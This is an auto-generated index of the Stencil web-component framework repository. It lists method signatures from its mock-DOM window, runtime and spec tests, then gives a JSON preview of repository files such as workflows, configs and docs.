method getComputedStyle (line 241) | getComputedStyle(_: any) {
method globalThis (line 264) | get globalThis() {
method history (line 268) | get history() {
method history (line 274) | set history(hsty: any) {
method JSON (line 278) | get JSON() {
method HTMLElement (line 282) | get HTMLElement() {
method SVGElement (line 286) | get SVGElement() {
method IntersectionObserver (line 290) | get IntersectionObserver() {
method ResizeObserver (line 294) | get ResizeObserver() {
method localStorage (line 298) | get localStorage() {
method localStorage (line 304) | set localStorage(locStorage: MockStorage) {
method location (line 308) | get location(): MockLocation {
method location (line 314) | set location(val: Location | string) {
method matchMedia (line 325) | matchMedia(media: string) {
method Node (line 338) | get Node() {
method NodeList (line 342) | get NodeList() {
method navigator (line 355) | get navigator() {
method navigator (line 361) | set navigator(nav: any) {
method parent (line 365) | get parent(): any {
method prompt (line 369) | prompt() {
method open (line 373) | open(): any {
method origin (line 377) | get origin() {
method removeEventListener (line 381) | removeEventListener(type: string, handler: any) {
method requestAnimationFrame (line 385) | requestAnimationFrame(callback: (timestamp: number) => void) {
method requestIdleCallback (line 391) | requestIdleCallback(callback: (deadline: { didTimeout: boolean; timeRe...
method scroll (line 400) | scroll(_x?: number, _y?: number) {
method scrollBy (line 404) | scrollBy(_x?: number, _y?: number) {
method scrollTo (line 408) | scrollTo(_x?: number, _y?: number) {
method self (line 412) | get self() {
method sessionStorage (line 416) | get sessionStorage() {
method sessionStorage (line 422) | set sessionStorage(locStorage: any) {
method setInterval (line 426) | setInterval(callback: (...args: any[]) => void, ms: number, ...args: a...
method setTimeout (line 484) | setTimeout(callback: (...args: any[]) => void, ms: number, ...args: an...
method top (line 518) | get top() {
method window (line 522) | get window() {
method onanimationstart (line 526) | onanimationstart() {
method onanimationend (line 529) | onanimationend() {
method onanimationiteration (line 532) | onanimationiteration() {
method onabort (line 535) | onabort() {
method onauxclick (line 538) | onauxclick() {
method onbeforecopy (line 541) | onbeforecopy() {
method onbeforecut (line 544) | onbeforecut() {
method onbeforepaste (line 547) | onbeforepaste() {
method onblur (line 550) | onblur() {
method oncancel (line 553) | oncancel() {
method oncanplay (line 556) | oncanplay() {
method oncanplaythrough (line 559) | oncanplaythrough() {
method onchange (line 562) | onchange() {
method onclick (line 565) | onclick() {
method onclose (line 568) | onclose() {
method oncontextmenu (line 571) | oncontextmenu() {
method oncopy (line 574) | oncopy() {
method oncuechange (line 577) | oncuechange() {
method oncut (line 580) | oncut() {
method ondblclick (line 583) | ondblclick() {
method ondrag (line 586) | ondrag() {
method ondragend (line 589) | ondragend() {
method ondragenter (line 592) | ondragenter() {
method ondragleave (line 595) | ondragleave() {
method ondragover (line 598) | ondragover() {
method ondragstart (line 601) | ondragstart() {
method ondrop (line 604) | ondrop() {
method ondurationchange (line 607) | ondurationchange() {
method onemptied (line 610) | onemptied() {
method onended (line 613) | onended() {
method onerror (line 616) | onerror() {
method onfocus (line 619) | onfocus() {
method onfocusin (line 622) | onfocusin() {
method onfocusout (line 625) | onfocusout() {
method onformdata (line 628) | onformdata() {
method onfullscreenchange (line 631) | onfullscreenchange() {
method onfullscreenerror (line 634) | onfullscreenerror() {
method ongotpointercapture (line 637) | ongotpointercapture() {
method oninput (line 640) | oninput() {
method oninvalid (line 643) | oninvalid() {
method onkeydown (line 646) | onkeydown() {
method onkeypress (line 649) | onkeypress() {
method onkeyup (line 652) | onkeyup() {
method onload (line 655) | onload() {
method onloadeddata (line 658) | onloadeddata() {
method onloadedmetadata (line 661) | onloadedmetadata() {
method onloadstart (line 664) | onloadstart() {
method onlostpointercapture (line 667) | onlostpointercapture() {
method onmousedown (line 670) | onmousedown() {
method onmouseenter (line 673) | onmouseenter() {
method onmouseleave (line 676) | onmouseleave() {
method onmousemove (line 679) | onmousemove() {
method onmouseout (line 682) | onmouseout() {
method onmouseover (line 685) | onmouseover() {
method onmouseup (line 688) | onmouseup() {
method onmousewheel (line 691) | onmousewheel() {
method onpaste (line 694) | onpaste() {
method onpause (line 697) | onpause() {
method onplay (line 700) | onplay() {
method onplaying (line 703) | onplaying() {
method onpointercancel (line 706) | onpointercancel() {
method onpointerdown (line 709) | onpointerdown() {
method onpointerenter (line 712) | onpointerenter() {
method onpointerleave (line 715) | onpointerleave() {
method onpointermove (line 718) | onpointermove() {
method onpointerout (line 721) | onpointerout() {
method onpointerover (line 724) | onpointerover() {
method onpointerup (line 727) | onpointerup() {
method onprogress (line 730) | onprogress() {
method onratechange (line 733) | onratechange() {
method onreset (line 736) | onreset() {
method onresize (line 739) | onresize() {
method onscroll (line 742) | onscroll() {
method onsearch (line 745) | onsearch() {
method onseeked (line 748) | onseeked() {
method onseeking (line 751) | onseeking() {
method onselect (line 754) | onselect() {
method onselectstart (line 757) | onselectstart() {
method onstalled (line 760) | onstalled() {
method onsubmit (line 763) | onsubmit() {
method onsuspend (line 766) | onsuspend() {
method ontimeupdate (line 769) | ontimeupdate() {
method ontoggle (line 772) | ontoggle() {
method onvolumechange (line 775) | onvolumechange() {
method onwaiting (line 778) | onwaiting() {
method onwebkitfullscreenchange (line 781) | onwebkitfullscreenchange() {
method onwebkitfullscreenerror (line 784) | onwebkitfullscreenerror() {
method onwheel (line 787) | onwheel() {
function resetWindowDefaults (line 794) | function resetWindowDefaults(win: MockWindow) {
function createWindow (line 804) | function createWindow(html: string | boolean = null): Window {
function cloneWindow (line 808) | function cloneWindow(srcWin: Window, opts: { customElementProxy?: boolea...
function cloneDocument (line 830) | function cloneDocument(srcDoc: Document) {
function constrainTimeouts (line 845) | function constrainTimeouts(win: any) {
function resetWindow (line 850) | function resetWindow(win: MockWindow) {
function resetWindowDimensions (line 890) | function resetWindowDimensions(win: MockWindow) {
FILE: src/runtime/bootstrap-custom-element.ts
method __registerHost (line 91) | __registerHost() {
method connectedCallback (line 94) | connectedCallback() {
method disconnectedCallback (line 109) | disconnectedCallback() {
method __attachShadow (line 115) | __attachShadow() {
FILE: src/runtime/bootstrap-lazy.ts
method constructor (line 110) | constructor(self: HTMLElement) {
method connectedCallback (line 142) | connectedCallback() {
method disconnectedCallback (line 171) | disconnectedCallback() {
method componentOnReady (line 198) | componentOnReady() {
FILE: src/runtime/client-hydrate.ts
function addSlot (line 602) | function addSlot(
type SlottedNodes (line 735) | type SlottedNodes = Array<{ slot: d.RenderNode; node: d.RenderNode; host...
type RenderNodeData (line 737) | interface RenderNodeData extends d.VNode {
FILE: src/runtime/dom-extras.ts
class FakeNodeList (line 377) | class FakeNodeList extends Array {
method item (line 378) | item(n: number) {
method get (line 385) | get() {
method get (line 391) | get() {
method get (line 398) | get() {
method get (line 405) | get() {
method get (line 412) | get() {
function patchHostOriginalAccessor (line 573) | function patchHostOriginalAccessor(
function internalCall (line 605) | function internalCall<T extends d.RenderNode, P extends keyof d.RenderNo...
FILE: src/runtime/mixin.ts
type Ctor (line 3) | type Ctor<T = {}> = new (...args: any[]) => T;
function Mixin (line 7) | function Mixin(...mixins: ((base: Ctor) => Ctor)[]) {
FILE: src/runtime/platform-options.ts
type SetPlatformOptions (line 3) | interface SetPlatformOptions {
FILE: src/runtime/proxy-component.ts
method value (line 48) | value(this: d.HostElement, ...args: any[]) {
method get (line 98) | get(this: d.RuntimeRef) {
method set (line 119) | set(this: d.RuntimeRef, newValue) {
method value (line 254) | value(this: d.HostElement, ...args: any[]) {
FILE: src/runtime/render.ts
function render (line 22) | function render(vnode: d.VNode, container: Element) {
FILE: src/runtime/runtime-constants.ts
type VNODE_FLAGS (line 4) | const enum VNODE_FLAGS {
type PROXY_FLAGS (line 21) | const enum PROXY_FLAGS {
type PLATFORM_FLAGS (line 26) | const enum PLATFORM_FLAGS {
type NODE_TYPE (line 44) | const enum NODE_TYPE {
constant CONTENT_REF_ID (line 53) | const CONTENT_REF_ID = 'r';
constant ORG_LOCATION_ID (line 54) | const ORG_LOCATION_ID = 'o';
constant SLOT_NODE_ID (line 55) | const SLOT_NODE_ID = 's';
constant TEXT_NODE_ID (line 56) | const TEXT_NODE_ID = 't';
constant COMMENT_NODE_ID (line 57) | const COMMENT_NODE_ID = 'c';
constant HYDRATE_ID (line 59) | const HYDRATE_ID = 's-id';
constant HYDRATED_STYLE_ID (line 60) | const HYDRATED_STYLE_ID = 'sty-id';
constant HYDRATE_CHILD_ID (line 61) | const HYDRATE_CHILD_ID = 'c-id';
constant HYDRATED_CSS (line 62) | const HYDRATED_CSS = '{visibility:hidden}.hydrated{visibility:inherit}';
constant STENCIL_DOC_DATA (line 64) | const STENCIL_DOC_DATA = '_stencilDocData';
constant DEFAULT_DOC_DATA (line 65) | const DEFAULT_DOC_DATA = {
constant SLOT_FB_CSS (line 77) | const SLOT_FB_CSS = 'slot-fb{display:contents}slot-fb[hidden]{display:no...
constant XLINK_NS (line 79) | const XLINK_NS = 'http://www.w3.org/1999/xlink';
constant FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS (line 81) | const FORM_ASSOCIATED_CUSTOM_ELEMENT_CALLBACKS = [
FILE: src/runtime/slot-polyfill-utils.ts
function getHostSlotNodes (line 78) | function getHostSlotNodes(childNodes: NodeListOf<ChildNode>, hostName?: ...
function patchSlotNode (line 204) | function patchSlotNode(node: d.RenderNode) {
function dispatchSlotChangeEvent (line 246) | function dispatchSlotChangeEvent(elm: d.RenderNode) {
function findSlotFromSlottedNode (line 257) | function findSlotFromSlottedNode(slottedNode: d.PatchedSlotNode, parentH...
FILE: src/runtime/styles.ts
type CSSStyleSheet (line 325) | interface CSSStyleSheet {
FILE: src/runtime/tag-transform.ts
function transformTag (line 10) | function transformTag<T extends string>(tag: T): T {
function setTagTransformer (line 19) | function setTagTransformer(transformer: d.TagTransformer) {
FILE: src/runtime/test/attr-deserialize.spec.tsx
class CmpA (line 8) | @Component({ tag: 'cmp-a' })
method method1 (line 18) | method1(newValue: any) {
method method2 (line 24) | method2(newValue: any) {
method componentDidLoad (line 29) | componentDidLoad() {
method method (line 85) | method() {
method componentWillLoad (line 89) | componentWillLoad() {
method componentDidLoad (line 98) | componentDidLoad() {
method method1 (line 135) | method1(newValue: any) {
method method2 (line 143) | method2(newValue: any) {
class CmpA (line 75) | @Component({ tag: 'cmp-a' })
method method1 (line 18) | method1(newValue: any) {
method method2 (line 24) | method2(newValue: any) {
method componentDidLoad (line 29) | componentDidLoad() {
method method (line 85) | method() {
method componentWillLoad (line 89) | componentWillLoad() {
method componentDidLoad (line 98) | componentDidLoad() {
method method1 (line 135) | method1(newValue: any) {
method method2 (line 143) | method2(newValue: any) {
class CmpA (line 129) | @Component({ tag: 'cmp-a' })
method method1 (line 18) | method1(newValue: any) {
method method2 (line 24) | method2(newValue: any) {
method componentDidLoad (line 29) | componentDidLoad() {
method method (line 85) | method() {
method componentWillLoad (line 89) | componentWillLoad() {
method componentDidLoad (line 98) | componentDidLoad() {
method method1 (line 135) | method1(newValue: any) {
method method2 (line 143) | method2(newValue: any) {
FILE: src/runtime/test/attr-prop-prefix.spec.tsx
class CmpA (line 7) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 24) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 42) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 60) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 85) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 103) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpChild (line 125) | @Component({ tag: 'cmp-child' })
method render (line 129) | render() {
method render (line 355) | render() {
class CmpParent (line 138) | @Component({ tag: 'cmp-parent' })
method render (line 140) | render() {
method render (line 366) | render() {
class CmpA (line 169) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 196) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 213) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 232) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 250) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 269) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 291) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 311) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpA (line 331) | @Component({ tag: 'cmp-a' })
method render (line 9) | render() {
method render (line 26) | render() {
method render (line 44) | render() {
method render (line 63) | render() {
method render (line 87) | render() {
method render (line 106) | render() {
method render (line 171) | render() {
method render (line 198) | render() {
method render (line 215) | render() {
method render (line 234) | render() {
method render (line 252) | render() {
method render (line 272) | render() {
method render (line 294) | render() {
method render (line 313) | render() {
method render (line 333) | render() {
method render (line 387) | render() {
class CmpChild (line 351) |
Condensed preview — 2067 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (7,322K chars).
[
{
"path": ".editorconfig",
"chars": 244,
"preview": "# http://editorconfig.org\n\nroot = true\n\n[*]\ncharset = utf-8\nindent_style = space\nindent_size = 2\nend_of_line = lf\ninsert"
},
{
"path": ".eslintrc.js",
"chars": 4245,
"preview": "module.exports = {\n root: true,\n parser: '@typescript-eslint/parser',\n plugins: ['@typescript-eslint', 'jsdoc', 'jest"
},
{
"path": ".gitattributes",
"chars": 19,
"preview": "* text=auto eol=lf\n"
},
{
"path": ".github/CODEOWNERS",
"chars": 42,
"preview": "* @stenciljs/technical-steering-committee\n"
},
{
"path": ".github/CONTRIBUTING.md",
"chars": 214,
"preview": "# Contributing\n\nThanks for your interest in contributing to Stencil! :tada: We've moved the [Contributing Guidelines](ht"
},
{
"path": ".github/FUNDING.yml",
"chars": 69,
"preview": "# These are supported funding model platforms\n\ngithub: [johnjenkins]\n"
},
{
"path": ".github/ISSUE_TEMPLATE/bug_report.yml",
"chars": 3673,
"preview": "name: 🐛 Bug Report\ndescription: Create a report to help us improve Stencil\ntitle: 'bug: '\nlabels: ['triage']\nbody:\n - t"
},
{
"path": ".github/ISSUE_TEMPLATE/config.yml",
"chars": 629,
"preview": "contact_links:\n - name: 📚 Documentation\n url: https://github.com/stenciljs/site/issues/new/choose\n about: This is"
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.yml",
"chars": 1975,
"preview": "name: 💡 Feature Request\ndescription: Suggest an idea for Stencil\ntitle: 'feat: '\nbody:\n - type: checkboxes\n attribut"
},
{
"path": ".github/ISSUE_TEMPLATE.md",
"chars": 955,
"preview": "<!--\nNOTE:\nBefore submitting an issue, please consult our docs -> https://stenciljs.com/\n-->\n\n**Stencil version:**\n<!-- "
},
{
"path": ".github/PULL_REQUEST_TEMPLATE.md",
"chars": 1077,
"preview": "<!-- Please refer to our contributing documentation for any questions on submitting a pull request, or let us know here "
},
{
"path": ".github/SECURITY.md",
"chars": 52466,
"preview": "# Stencil Security Policy\n\nThis document outlines the security policy and threat model for the Stencil project.\n\n## Repo"
},
{
"path": ".github/ionic-issue-bot.yml",
"chars": 3861,
"preview": "triage:\n label: triage\n dryRun: false\n\ncloseAndLock:\n labels:\n - label: 'ionitron: support'\n message: >\n "
},
{
"path": ".github/reproduire/needs-reproduction.md",
"chars": 1930,
"preview": "We need a minimal reproduction to be able to triage this issue.\n\n### Why do we need a minimal reproduction?\n\nReproductio"
},
{
"path": ".github/workflows/README.md",
"chars": 5536,
"preview": "# Stencil Continuous Integration (CI)\n\nContinuous integration (CI) is an important aspect of any project, and is used to"
},
{
"path": ".github/workflows/actions/check-git-context/action.yml",
"chars": 555,
"preview": "name: 'Check Git Context'\ndescription: 'checks for a dirty git context, failing if the context is dirty'\nruns:\n using: "
},
{
"path": ".github/workflows/actions/download-archive/action.yml",
"chars": 645,
"preview": "name: 'Stencil Archive Download'\ndescription: 'downloads and decompresses an archive from a previous job'\ninputs:\n path"
},
{
"path": ".github/workflows/actions/get-core-dependencies/action.yml",
"chars": 651,
"preview": "name: 'Get Core Dependencies'\ndescription: 'sets the node version & initializes core dependencies'\nruns:\n using: compos"
},
{
"path": ".github/workflows/actions/upload-archive/action.yml",
"chars": 607,
"preview": "name: 'Stencil Archive Upload'\ndescription: 'compresses and uploads an archive to be reused across jobs'\ninputs:\n paths"
},
{
"path": ".github/workflows/build.yml",
"chars": 1129,
"preview": "name: Build Stencil\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.github.com"
},
{
"path": ".github/workflows/create-production-pr.yml",
"chars": 3271,
"preview": "name: 'Stencil Production Release PR Creation'\non:\n workflow_dispatch:\n inputs:\n version:\n required: tru"
},
{
"path": ".github/workflows/lint-and-format.yml",
"chars": 710,
"preview": "name: Lint and Format Stencil (Check)\n\non:\n merge_group:\n workflow_call:\n # Make this a reusable workflow, no value"
},
{
"path": ".github/workflows/main.yml",
"chars": 1467,
"preview": "name: CI\n\non:\n merge_group:\n push:\n branches:\n - 'main'\n - 'stencil/v4-dev'\n pull_request:\n branches:"
},
{
"path": ".github/workflows/publish-npm.yml",
"chars": 1905,
"preview": "name: 'Release'\n\non:\n workflow_call:\n inputs:\n version:\n description: 'The type of version to release.'\n"
},
{
"path": ".github/workflows/release-dev.yml",
"chars": 1717,
"preview": "name: 'Stencil Dev Release'\n\non:\n workflow_call:\n outputs:\n dev-version:\n description: The version that "
},
{
"path": ".github/workflows/release-nightly.yml",
"chars": 1770,
"preview": "name: 'Stencil Nightly Release'\n\non:\n workflow_call:\n\npermissions:\n contents: write\n id-token: write\n\njobs:\n build_c"
},
{
"path": ".github/workflows/release-orchestrator.yml",
"chars": 1498,
"preview": "name: 'Stencil Release'\n\non:\n schedule:\n # Run every Monday-Friday at 5:00 AM (UTC)\n - cron: '00 05 * * 1-5'\n wo"
},
{
"path": ".github/workflows/release-production.yml",
"chars": 2313,
"preview": "name: 'Stencil Production Release'\non:\n workflow_call:\n inputs:\n tag:\n required: false\n default: "
},
{
"path": ".github/workflows/reproduire.yml",
"chars": 404,
"preview": "name: Needs Reproduction\n\non:\n issues:\n types: [labeled]\n\npermissions:\n issues: write\n\njobs:\n reproduire:\n runs"
},
{
"path": ".github/workflows/test-analysis.yml",
"chars": 1241,
"preview": "name: Analysis Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.githu"
},
{
"path": ".github/workflows/test-bundlers.yml",
"chars": 878,
"preview": "name: Bundler Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.github"
},
{
"path": ".github/workflows/test-component-starter.yml",
"chars": 4907,
"preview": "name: Component Starter Smoke Test\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # http"
},
{
"path": ".github/workflows/test-copytask.yml",
"chars": 881,
"preview": "name: Copy Task Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.gith"
},
{
"path": ".github/workflows/test-docs-build.yml",
"chars": 1247,
"preview": "name: Docs OT Build Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs."
},
{
"path": ".github/workflows/test-e2e.yml",
"chars": 1376,
"preview": "name: E2E Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.github.com"
},
{
"path": ".github/workflows/test-types.yml",
"chars": 1055,
"preview": "name: Type Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.github.co"
},
{
"path": ".github/workflows/test-unit.yml",
"chars": 1220,
"preview": "name: Unit Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.github.co"
},
{
"path": ".github/workflows/test-wdio.yml",
"chars": 1372,
"preview": "name: WebdriverIO Tests\n\non:\n workflow_call:\n # Make this a reusable workflow, no value needed\n # https://docs.gi"
},
{
"path": ".gitignore",
"chars": 954,
"preview": "*~\n*.sw[mnpcod]\n*.log\n*.lock\n*.tmp\n*.tmp.*\nlog.txt\n*.sublime-project\n*.sublime-workspace\n*.tgz\n\n.DS_Store\n.idea/\n.vscode"
},
{
"path": ".npmrc",
"chars": 644,
"preview": "# By default, Node allocates 2 GB for a process to run.\n# When building Stencil, it may reach that point before the garb"
},
{
"path": ".nvmrc",
"chars": 9,
"preview": "v22.13.0\n"
},
{
"path": ".prettierignore",
"chars": 1843,
"preview": "# npm packages in the root of the project and subdirectories\nnode_modules/\n\n# submodule packages\n/build/\n/cli/\n/compiler"
},
{
"path": "BREAKING_CHANGES.md",
"chars": 47740,
"preview": "# Breaking Changes\n\nThis is a comprehensive list of the breaking changes introduced in the major version releases of Ste"
},
{
"path": "CHANGELOG.md",
"chars": 206693,
"preview": "## 🐕 [4.43.3](https://github.com/stenciljs/core/compare/v4.43.2...v4.43.3) (2026-03-19)\n\n\n### Features\n\n* **testing:** d"
},
{
"path": "CODE_OF_CONDUCT.md",
"chars": 5222,
"preview": "# Contributor Code of Conduct\n\n## Our Pledge\n\nWe as members, contributors, and leaders pledge to make participation in o"
},
{
"path": "CONTRIBUTING.md",
"chars": 14042,
"preview": "# Contributing\n\nThanks for your interest in contributing to Stencil! 🎉\n\n\n## Contributing Etiquette\n\nPlease see our [Cont"
},
{
"path": "LICENSE.md",
"chars": 1428,
"preview": "The MIT License (MIT)\n\nCopyright (c) 2019-present Drifty Co.\n\nPermission is hereby granted, free of charge, to any perso"
},
{
"path": "RELEASE.md",
"chars": 6169,
"preview": "# Releasing Stencil\n\nStencil can either be released by CI/CD (via GitHub Actions), or manually.\nAn automated release is "
},
{
"path": "STYLE_GUIDE.md",
"chars": 7719,
"preview": "# Stencil Style Guide\n\nThis is a component style guide created and enforced internally by the core team of Stencil, for "
},
{
"path": "bin/stencil",
"chars": 1807,
"preview": "#!/usr/bin/env node\n'use strict';\n\nvar minimumVersion = '16.0';\nvar futureDeprecationMinVersion = '16.0';\nvar recommende"
},
{
"path": "cspell-code.json",
"chars": 348,
"preview": "{\n \"dictionaries\": [\"custom-words\"],\n \"dictionaryDefinitions\": [\n {\n \"name\": \"custom-words\",\n \"path\": \"./"
},
{
"path": "cspell-markdown.json",
"chars": 315,
"preview": "{\n \"dictionaries\": [\"custom-words\"],\n \"dictionaryDefinitions\": [\n {\n \"name\": \"custom-words\",\n \"path\": \"./"
},
{
"path": "cspell-wordlist.txt",
"chars": 1429,
"preview": "!Javascript\n!PostCss\n!TurboRepo\n!Typescript\n!nodejs\nBUILDID\nBrotli\nBrunelle\nCompi\nCSSOM\nDeno\nDeoptimization\nDescript\nFOU"
},
{
"path": "docs/README.md",
"chars": 6018,
"preview": "# Stencil Technical Documentation\n\nWelcome to the Stencil technical documentation. This documentation is designed for co"
},
{
"path": "docs/cli.md",
"chars": 6972,
"preview": "# CLI Architecture\n\nThe Stencil CLI is the primary entry point for developers interacting with Stencil. It provides a co"
},
{
"path": "docs/compiler.md",
"chars": 37036,
"preview": "# Compiler Architecture\n\nThe Stencil Compiler is the core engine that transforms TypeScript/JSX components into optimize"
},
{
"path": "docs/declarations.md",
"chars": 9376,
"preview": "# Declarations Architecture\n\nThe Declarations module defines all TypeScript types and interfaces used throughout Stencil"
},
{
"path": "docs/dev-server.md",
"chars": 11513,
"preview": "# Dev Server Architecture\n\nThe Stencil Dev Server provides a fast development experience with hot module replacement (HM"
},
{
"path": "docs/hydrate.md",
"chars": 17071,
"preview": "# Hydrate Architecture\n\nThe Hydrate module enables server-side rendering (SSR) and static site generation (SSG) for Sten"
},
{
"path": "docs/mock-doc.md",
"chars": 14034,
"preview": "# Mock Doc Architecture\n\nMock Doc provides a lightweight DOM implementation for server-side rendering in Node.js environ"
},
{
"path": "docs/runtime.md",
"chars": 28190,
"preview": "# Runtime Architecture\n\nThe Stencil Runtime is the client-side engine that powers components in the browser. It handles "
},
{
"path": "docs/screenshot-deprecated.md",
"chars": 8282,
"preview": "# Screenshot Testing (Deprecated)\n\n> **⚠️ DEPRECATED**: Screenshot testing is deprecated and will be removed in the next"
},
{
"path": "docs/scripts.md",
"chars": 8397,
"preview": "# Scripts Build System\n\nThe Scripts directory contains the build system used to develop and build Stencil itself. This i"
},
{
"path": "docs/testing-deprecated.md",
"chars": 7578,
"preview": "# Testing (Deprecated)\n\n> **⚠️ DEPRECATED**: The built-in Stencil test runner is deprecated and only supports Jest v27-2"
},
{
"path": "jest.config.js",
"chars": 2915,
"preview": "module.exports = {\n moduleNameMapper: {\n '@app-data': '<rootDir>/internal/app-data/index.cjs',\n '@app-globals': '"
},
{
"path": "package.json",
"chars": 9709,
"preview": "{\n \"name\": \"@stencil/core\",\n \"version\": \"4.43.3\",\n \"license\": \"MIT\",\n \"main\": \"./internal/stencil-core/index.cjs\",\n "
},
{
"path": "readme.md",
"chars": 4071,
"preview": "<p align=\"center\">\n <a href=\"#\">\n <img alt=\"stencil-logo\" src=\"https://github.com/stenciljs/core/blob/main/stencil-l"
},
{
"path": "screenshot/compare/build/app.css",
"chars": 1507,
